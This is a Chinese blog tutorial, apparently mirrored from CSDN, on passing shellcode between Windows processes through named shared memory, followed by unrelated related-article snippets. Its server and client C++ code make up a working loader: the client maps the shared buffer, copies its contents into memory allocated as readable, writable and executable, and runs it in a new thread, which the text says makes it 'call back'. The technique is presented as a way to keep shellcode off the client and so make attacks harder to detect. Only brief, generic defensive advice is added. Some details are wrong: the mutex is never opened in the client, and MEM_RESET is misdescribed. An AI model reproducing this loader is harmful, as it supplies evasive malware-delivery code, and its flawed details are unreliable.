当前位置: 首页 > news >正文

C++ 共享内存ShellCode跨进程传输

在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将ShellCode打散,而作为客户端也不需要时时刻刻在本地存放ShellCode代码,这能保证客户端的安全性。

服务端部分

CreateFileMapping

用于创建一个文件映射对象,将文件或者其他内核对象映射到进程的地址空间。这个函数通常用于共享内存的创建。

下面是 CreateFileMapping 函数的基本语法:

HANDLE CreateFileMapping(HANDLE                hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD                 flProtect,DWORD                 dwMaximumSizeHigh,DWORD                 dwMaximumSizeLow,LPCTSTR               lpName
);

参数说明:

  • hFile: 文件句柄,可以是一个磁盘文件或者其他内核对象的句柄。如果是 INVALID_HANDLE_VALUE,则表示创建一个只在内存中的映射,而不与文件关联。
  • lpFileMappingAttributes: 安全属性,一般为 NULL,表示使用默认的安全设置。
  • flProtect: 内存保护选项,指定内存页的保护属性,例如读、写、执行等。常见的值有 PAGE_READONLYPAGE_READWRITEPAGE_EXECUTE_READ 等。
  • dwMaximumSizeHighdwMaximumSizeLow: 指定文件映射对象的最大大小。如果映射的是一个文件,可以通过这两个参数指定文件映射的大小。
  • lpName: 文件映射对象的名字,如果是通过共享内存进行跨进程通信,可以通过这个名字在不同的进程中打开同一个文件映射对象。

成功调用 CreateFileMapping 会返回一个文件映射对象的句柄,失败则返回 NULL。通常创建成功后,可以通过 MapViewOfFile 函数将文件映射对象映射到当前进程的地址空间中,进行读写操作。

MapViewOfFile

用于将一个文件映射对象映射到调用进程的地址空间中,使得进程可以直接操作映射区域的内容。

以下是 MapViewOfFile 函数的基本语法:

LPVOID MapViewOfFile(HANDLE hFileMappingObject,DWORD  dwDesiredAccess,DWORD  dwFileOffsetHigh,DWORD  dwFileOffsetLow,SIZE_T dwNumberOfBytesToMap
);

参数说明:

  • hFileMappingObject: 文件映射对象的句柄,这个句柄通常是通过 CreateFileMapping 函数创建得到的。
  • dwDesiredAccess: 映射区域的访问权限,常见的值有 FILE_MAP_READFILE_MAP_WRITEFILE_MAP_EXECUTE
  • dwFileOffsetHighdwFileOffsetLow: 文件映射的起始位置。在这里,通常指定为0,表示从文件的开头开始映射。
  • dwNumberOfBytesToMap: 指定映射的字节数,通常可以设置为 0 表示映射整个文件。

成功调用 MapViewOfFile 会返回映射视图的起始地址,失败则返回 NULL。映射成功后,可以直接通过返回的地址进行读写操作。当不再需要映射时,应该通过 UnmapViewOfFile 函数解除映射。

CreateMutex

用于创建一个互斥体对象。互斥体(Mutex)是一种同步对象,用于确保在多线程或多进程环境中对资源的互斥访问,防止多个线程或进程同时访问共享资源,以避免数据竞争和冲突。

以下是 CreateMutex 函数的基本语法:

HANDLE CreateMutex(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL                  bInitialOwner,LPCTSTR               lpName
);

参数说明:

  • lpMutexAttributes: 一个指向 SECURITY_ATTRIBUTES 结构的指针,决定了互斥体的安全性。通常可以设为 NULL,表示使用默认的安全描述符。
  • bInitialOwner: 一个布尔值,指定互斥体的初始状态。如果设置为 TRUE,表示创建互斥体时已经拥有它,这通常用于创建一个已经锁定的互斥体。如果设置为 FALSE,则表示创建互斥体时未拥有它。
  • lpName: 一个指向包含互斥体名称的空终止字符串的指针。如果为 NULL,则创建一个匿名的互斥体;否则,创建一个具有指定名称的互斥体。通过指定相同的名称,可以在多个进程中共享互斥体。

成功调用 CreateMutex 会返回互斥体对象的句柄,失败则返回 NULL。在使用完互斥体后,应该通过 CloseHandle 函数关闭句柄以释放资源。

CreateEvent

用于创建一个事件对象。事件对象是一种同步对象,用于实现多线程或多进程之间的通信和同步。通过事件对象,可以使一个或多个线程等待某个事件的发生,从而协调它们的执行。

以下是 CreateEvent 函数的基本语法:

HANDLE CreateEvent(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL                  bManualReset,BOOL                  bInitialState,LPCTSTR               lpName
);

参数说明:

  • lpEventAttributes: 一个指向 SECURITY_ATTRIBUTES 结构的指针,决定了事件对象的安全性。通常可以设为 NULL,表示使用默认的安全描述符。
  • bManualReset: 一个布尔值,指定事件对象的复位类型。如果设置为 TRUE,则为手动复位;如果设置为 FALSE,则为自动复位。手动复位的事件需要通过 ResetEvent 函数手动将其重置为非触发状态,而自动复位的事件会在一个等待线程被释放后自动复位为非触发状态。
  • bInitialState: 一个布尔值,指定事件对象的初始状态。如果设置为 TRUE,表示创建事件对象时已经处于触发状态;如果设置为 FALSE,则表示创建事件对象时处于非触发状态。
  • lpName: 一个指向包含事件对象名称的空终止字符串的指针。如果为 NULL,则创建一个匿名的事件对象;否则,创建一个具有指定名称的事件对象。通过指定相同的名称,可以在多个进程中共享事件对象。

成功调用 CreateEvent 会返回事件对象的句柄,失败则返回 NULL。在使用完事件对象后,应该通过 CloseHandle 函数关闭句柄以释放资源。

WaitForSingleObject

用于等待一个或多个内核对象的状态变为 signaled。内核对象可以是事件、互斥体、信号量等等。

以下是 WaitForSingleObject 函数的基本语法:

DWORD WaitForSingleObject(HANDLE hHandle,DWORD  dwMilliseconds
);

参数说明:

  • hHandle: 要等待的内核对象的句柄。可以是事件、互斥体、信号量等。
  • dwMilliseconds: 等待的时间,以毫秒为单位。如果设为 INFINITE,表示无限等待,直到内核对象变为 signaled。

WaitForSingleObject 返回一个 DWORD 类型的值,表示等待的结果。可能的返回值包括:

  • WAIT_OBJECT_0:内核对象已经变为 signaled 状态。
  • WAIT_TIMEOUT:等待时间已过,但内核对象仍然没有变为 signaled 状态。
  • WAIT_FAILED:等待出错,可以通过调用 GetLastError 获取详细错误信息。

这个函数是同步函数,调用它的线程会阻塞,直到等待的对象变为 signaled 状态或者等待时间超时。

ReleaseMutex

用于释放之前由 WaitForSingleObjectWaitForMultipleObjects 等函数获取的互斥体对象的所有权。

以下是 ReleaseMutex 函数的基本语法:

BOOL ReleaseMutex(HANDLE hMutex
);

参数说明:

  • hMutex: 要释放的互斥体对象的句柄。

ReleaseMutex 返回一个 BOOL 类型的值,表示释放互斥体对象是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息。

互斥体(Mutex)是一种同步对象,用于控制对共享资源的访问。在多线程或者多进程环境中,互斥体可以确保在同一时刻只有一个线程或者进程能够访问被保护的共享资源。当一个线程或者进程成功获取互斥体的所有权后,其他试图获取该互斥体所有权的线程或者进程将会被阻塞,直到拥有互斥体的线程或者进程调用 ReleaseMutex 释放互斥体所有权。

SetEvent

用于将指定的事件对象的状态设置为 signaled(有信号)。该函数通常与等待函数(如 WaitForSingleObjectWaitForMultipleObjects)一起使用,以实现线程之间或进程之间的同步。

以下是 SetEvent 函数的基本语法:

BOOL SetEvent(HANDLE hEvent
);

参数说明:

  • hEvent: 事件对象的句柄。

SetEvent 函数返回一个 BOOL 类型的值,表示设置事件对象状态是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息。

事件对象是一种同步对象,用于在线程或者进程之间发信号。通过 SetEvent 可以将事件对象的状态设置为 signaled,表示某个条件已经满足,其他等待该事件对象的线程或者进程可以继续执行。

有了上述API函数的支持,那么实现这个服务端将变得很容易,如下所示则是服务端完整代码,通过创建一个共享内存池,并等待用户按下简单,当键盘被按下时则会自动填充缓冲区为特定内容。

#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;char ShellCode[] = "此处是ShellCode";using namespace std;int main(int argc,char *argv[])
{// 创建共享文件句柄HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");if (shareFileHandle == NULL){return 1;}//映射缓冲区视图,得到指向共享内存的指针LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);if (lpBuf == NULL){CloseHandle(shareFileHandle);return 1;}// 创建互斥器H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");// 操作共享内存while (true){getchar();// 使用互斥体加锁,获得互斥器的拥有权WaitForSingleObject(H_Mutex, INFINITE);memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);ReleaseMutex(H_Mutex);                           // 放锁SetEvent(H_Event);                               // 激活等待的进程}CloseHandle(H_Mutex);CloseHandle(H_Event);UnmapViewOfFile(lpBuf);CloseHandle(shareFileHandle);return 0;
}

客户端部分

OpenFileMapping

用于打开一个已存在的文件映射对象,以便将它映射到当前进程的地址空间。文件映射对象是一种用于在多个进程间共享内存数据的机制。

以下是 OpenFileMapping 函数的基本语法:

HANDLE OpenFileMapping(DWORD  dwDesiredAccess,BOOL   bInheritHandle,LPCTSTR lpName
);

参数说明:

  • dwDesiredAccess: 指定对文件映射对象的访问权限。可以使用标准的访问权限标志,如 FILE_MAP_READFILE_MAP_WRITE 等。
  • bInheritHandle: 指定句柄是否可以被子进程继承。如果为 TRUE,子进程将继承句柄;如果为 FALSE,子进程不继承句柄。
  • lpName: 指定文件映射对象的名称。此名称在系统内必须是唯一的。如果是 NULL,函数将打开一个不带名称的文件映射对象。

OpenFileMapping 函数返回一个文件映射对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。

OpenEvent

用于打开一个已存在的命名事件对象。事件对象是一种同步对象,用于在多个进程间进行通信和同步。

以下是 OpenEvent 函数的基本语法:

HANDLE OpenEvent(DWORD  dwDesiredAccess,BOOL   bInheritHandle,LPCTSTR lpName
);

参数说明:

  • dwDesiredAccess: 指定对事件对象的访问权限。可以使用标准的访问权限标志,如 EVENT_MODIFY_STATEEVENT_QUERY_STATE 等。
  • bInheritHandle: 指定句柄是否可以被子进程继承。如果为 TRUE,子进程将继承句柄;如果为 FALSE,子进程不继承句柄。
  • lpName: 指定事件对象的名称。此名称在系统内必须是唯一的。如果是 NULL,函数将打开一个不带名称的事件对象。

OpenEvent 函数返回一个事件对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。

VirtualAlloc

用于在进程的虚拟地址空间中分配一段内存区域。这个函数通常用于动态分配内存,而且可以选择性地将其初始化为零。

以下是 VirtualAlloc 函数的基本语法:

LPVOID VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD  flAllocationType,DWORD  flProtect
);

参数说明:

  • lpAddress: 指定欲分配内存的首地址。如果为 NULL,系统将决定分配的地址。
  • dwSize: 指定欲分配内存的大小,以字节为单位。
  • flAllocationType: 指定分配类型。可以是以下常量之一:
    • MEM_COMMIT:将内存提交为物理存储(RAM或磁盘交换文件)中的一页或多页。
    • MEM_RESERVE:为欲保留的内存保留地址空间而不分配任何物理存储。
    • MEM_RESET:将内存区域的内容初始化为零。必须与 MEM_COMMIT 一起使用。
  • flProtect: 指定内存的访问保护。可以是以下常量之一:
    • PAGE_EXECUTE_READ: 允许读取并执行访问。
    • PAGE_READWRITE: 允许读写访问。

VirtualAlloc 函数返回一个指向分配的内存区域的指针。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。

CreateThread

用于创建一个新的线程。线程是执行程序代码的单一路径,一个进程可以包含多个线程,这些线程可以并发执行。

以下是 CreateThread 函数的基本语法:

HANDLE CreateThread(LPSECURITY_ATTRIBUTES   lpThreadAttributes,SIZE_T                  dwStackSize,LPTHREAD_START_ROUTINE  lpStartAddress,LPVOID                  lpParameter,DWORD                   dwCreationFlags,LPDWORD                 lpThreadId
);

参数说明:

  • lpThreadAttributes: 用于设置线程的安全属性,通常设置为 NULL
  • dwStackSize: 指定线程堆栈的大小,可以设置为 0 使用默认堆栈大小。
  • lpStartAddress: 指定线程函数的地址,新线程将从此地址开始执行。
  • lpParameter: 传递给线程函数的参数。
  • dwCreationFlags: 指定线程的创建标志,通常设置为 0。
  • lpThreadId: 接收新线程的标识符。如果为 NULL,则不接收线程标识符。

CreateThread 函数返回一个新线程的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。

客户端同样创建内存映射,使用服务端创建的内存池,并在里面取出ShellCode执行后反弹,完整代码如下所示;

#include <iostream>
#include <Windows.h>
#include <winbase.h>using namespace std;HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;int main(int argc, char* argv[])
{// 打开共享文件句柄HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");if (sharedFileHandle == NULL){return 1;}// 映射缓存区视图,得到指向共享内存的指针LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);if (lpBuf == NULL){CloseHandle(sharedFileHandle);return 1;}H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");if (H_Event == NULL){return 1;}char buffer[4096] = {0};while (1){HANDLE hThread;// 互斥体接收数据并加锁WaitForSingleObject(H_Event, INFINITE);WaitForSingleObject(H_Mutex, INFINITE);            // 使用互斥体加锁memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1);   // 接收数据到内存ReleaseMutex(H_Mutex);                             // 放锁cout << "接收到的ShellCode: " << buffer << endl;// 注入ShellCode并执行void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);CopyMemory(ShellCode, buffer, sizeof(buffer));hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);WaitForSingleObject(hThread, INFINITE);}CloseHandle(H_Event);CloseHandle(H_Mutex);UnmapViewOfFile(lpBuf);CloseHandle(sharedFileHandle);return 0;
}

潜在风险和安全建议

虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:

  1. 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
  2. 加强系统安全策略: 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
  3. 监控和响应: 部署实时监控和响应系统,能够及时检测到异常行为并采取相应措施,对于减缓潜在威胁的影响十分重要。

总结

本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。

相关文章:

C++ 共享内存ShellCode跨进程传输

在计算机安全领域&#xff0c;ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度&#xff0c;研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法&#xff0c;通过该方法&#xff0c;两个本地进程可以相互传递ShellCode&am…...

如何快速移植(从STM32F103到STM32F407)

最近用到F4的地方比较多&#xff0c;网上代码还是F1多一些&#xff0c;便需要移植代码&#xff0c;如何快速移植代码呢&#xff1f; 看下面这篇文章 外设 首先就是STM32的外设了。 STM32F407ZGT6的基本外设 STM32F407ZGT6 作为 MCU&#xff0c;该芯片是 STM32F407 里面配置…...

python高级练习题库实验1(B)部分

文章目录 题目1代码实验结果题目2代码实验结果题目3代码实验结果题目4代码实验结果题目5代码实验结果题目总结题目1 打包糖果小游戏,用户输入糖果品牌与个数,还有一个盒子里面可以装多少个糖果,输出一些打印信息,如下图所示: 代码 print("Packaging lollies into…...

Qt Rsa 加解密方法使用(pkcs1, pkcs8, 以及文件存储和内存存储密钥)

Qt RSA 加解密 完整使用 密钥格式&#xff1a; pkcs#1pkcs#8 如何区分密钥对是PKCS1还是PKCS8&#xff1f; 通常PKCS1密钥对的开始部分为&#xff1a;-----BEGIN RSA PRIVATE KEY-----或 -----BEGIN RSA PUBLIC KEY-----。而PKCS8密钥对的开始部分为&#xff1a;-----BEGIN…...

区分物理端口与软件端口概念:以交换机端口和Linux系统中的端口为例

文章目录 交换机端口和Linux系统中的端口有什么区别&#xff1f;1. 交换机的端口2. Linux系统中的端口因此&#xff0c;尽管两者都被称为"端口"&#xff0c;但它们代表的含义和用途是完全不同的。 交换机端口和Linux系统中的端口有什么区别&#xff1f; 虽然都被称为…...

力扣226:翻转二叉树

力扣226&#xff1a;翻转二叉树 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1] 示例 2&#xff1a; 输入&#xff1a;root [2,1,3]…...

亚马逊鲲鹏系统智能自动注册与AI角色养号,探索数字化新境界

在数字化时代&#xff0c;亚马逊鲲鹏系统以其强大的自动化功能&#xff0c;为用户提供了前所未有的购物体验。如果你想利用鲲鹏系统进行自动化注册&#xff0c;那么准备好邮箱、IP、手机号等关键信息后&#xff0c;你将轻松实现自动注册&#xff0c;为购物之旅开启智能化新篇章…...

AOP操作日志记录

AOP操作日志记录 1.创建注解 Retention(RetentionPolicy.RUNTIME) Target(ElementType.METHOD) public interface PassportLog {String operatePage();String operateType();ClassTypEnum classType();}2.创建切面 对于字典&#xff0c;可以通过注解属性去转换&#xff0c;枚举…...

Linux C语言 42-进程间通信IPC之网络通信(套接字)

Linux C语言 42-进程间通信IPC之网络通信&#xff08;套接字&#xff09; 本节关键字&#xff1a;C语言 进程间通信 网络通信 套接字 TCP UDP 相关库函数&#xff1a;socket、bind、listen、accept、send、recv、sendto、recvfrom 参考之前的文章 Linux C语言 30-套接字操作…...

微服务知识大杂烩

1.什么是微服务? 微服务(Microservices)是一种软件架构风格,将一个大型应用程序划分为一组小型、自治且松耦合的服务。每个微服务负责执行特定的业务功能,并通过轻量级通信机制(如HTTP)相互协作。每个微服务可以独立开发、部署和扩展,使得应用程序更加灵活、可伸缩和可…...

记录一次vscode markdown的图片路径相关插件学习配置过程

插件及说明查找过程 csdn搜索markdown图片路径&#xff0c;找到关于这一款插件的回答。打开vscode拓展搜索Paste Image这款插件&#xff0c;看到下载量挺高的&#xff0c;应该不赖。 点击仓库,进入该插件开源的github仓库,查看README文件阅读说明. 淡然在Vscode 插件项目下的细…...

设计原则 | 依赖转置原则

一、依赖转置原则&#xff08;DIP&#xff1a;Dependence Inversion Principle&#xff09; 1、原理 高层模块不应该依赖低层模块&#xff0c;二者都应该依赖于抽象抽象不应该依赖于细节&#xff0c;细节应该依赖于抽象 2、层次化 Booch曾经说过&#xff1a;所有结构良好的面…...

前端开发实用技巧与经验分享

导语&#xff1a;在前端开发领域&#xff0c;掌握一些实用的技巧和经验可以帮助你更高效地完成任务。本文将分享一些前端开发的实用技巧和经验&#xff0c;帮助你在工作中更好地应对各种挑战。 一、使用开发者工具进行调试和优化 熟练掌握浏览器开发者工具的使用&#xff0c;…...

推荐一款Excel快速加载SQL的插件,方便又好用

如果告诉你只需要双击一下&#xff0c;SQL数据库中存放在表里面的数据&#xff0c;就能加载到你的Excel中&#xff0c;你想不想要&#xff1f; 今天给大家推荐一款好用的Excel插件&#xff0c;安装简单&#xff0c;使用方便&#xff0c;是经常使用SQL数据库的不二。 这款插件…...

Docker快速入门(docker加速,镜像,容器,数据卷常见命令操作整理)

Docker本质是将代码所需的环境依赖进行打包运行,而在Docker中最重要的是镜像和容器 镜像:可以简单地理解为每启动一个docker镜像就会占用计算机一个进程,这个进程和另外起的docker镜像的进程是相互独立的,以数据库为例,每个镜像都会copy一份数据库,在他所在的进程中.别的镜像在…...

http和https的区别有哪些

目录 HTTP&#xff08;HyperText Transfer Protocol&#xff09; HTTPS&#xff08;HyperText Transfer Protocol Secure&#xff09; 区别与优势 应用场景 未来趋势 当我们浏览互联网时&#xff0c;我们经常听到两个常用的协议&#xff1a;HTTP&#xff08;HyperText Tra…...

使用Keil-MDK生成*.bin格式可执行文件

使用Keil-MDK生成*.bin格式可执行文件 文章目录 使用Keil-MDK生成*.bin格式可执行文件前言一、fromelf.exe工具二、使用方法1.配置输出2.输出格式 前言 在使用Keil MDK的集成开发环境中&#xff0c;默认情况下可以生成*.axf格式的调试文件和*.hex格式的可执行文件。虽然文件可…...

基于springboot+vue篮球联盟管理系统源码

&#x1f345; 简介&#xff1a;500精品计算机源码学习 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 文末获取源码 目录 一、以下学习内容欢迎交流&#xff1a; 二、文档资料截图&#xff1a; 三、项目技术栈 四、项目运行图 背景&#xff1a; 篮球运…...

分页助手入门以及小bug,报sql语法错误

导入坐标 5版本以上的分页助手 可以不用手动指定数据库语言&#xff0c;它会自动识别 <dependency> <groupId>com.github.pagehelper</groupId> <artifactId>pagehelper</artifactId> <version>5.3.2</version> </dependency&g…...

Java中的并发编程:深入理解CountDownLatch

Java中的并发编程&#xff1a;深入理解CountDownLatch 本文将深入探讨Java中的并发编程&#xff0c;重点关注CountDownLatch的使用。通过理解这些概念和技术&#xff0c;我们可以编写出更高效、稳定的Java程序。 一、CountDownLatch简介 CountDownLatch是Java中的一个同步工具…...

vscode里如何用git

打开vs终端执行如下&#xff1a; 1 初始化 Git 仓库&#xff08;如果尚未初始化&#xff09; git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

.Net框架,除了EF还有很多很多......

文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...

Debian系统简介

目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版&#xff…...

涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战

“&#x1f916;手搓TuyaAI语音指令 &#x1f60d;秒变表情包大师&#xff0c;让萌系Otto机器人&#x1f525;玩出智能新花样&#xff01;开整&#xff01;” &#x1f916; Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制&#xff08;TuyaAI…...

NFT模式:数字资产确权与链游经济系统构建

NFT模式&#xff1a;数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新&#xff1a;构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议&#xff1a;基于LayerZero协议实现以太坊、Solana等公链资产互通&#xff0c;通过零知…...

Unit 1 深度强化学习简介

Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库&#xff0c;例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体&#xff0c;比如 SnowballFight、Huggy the Do…...

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…...

佰力博科技与您探讨热释电测量的几种方法

热释电的测量主要涉及热释电系数的测定&#xff0c;这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中&#xff0c;积分电荷法最为常用&#xff0c;其原理是通过测量在电容器上积累的热释电电荷&#xff0c;从而确定热释电系数…...

C++.OpenGL (20/64)混合(Blending)

混合(Blending) 透明效果核心原理 #mermaid-svg-SWG0UzVfJms7Sm3e {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-icon{fill:#552222;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-text{fill…...

并发编程 - go版

1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程&#xff0c;系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...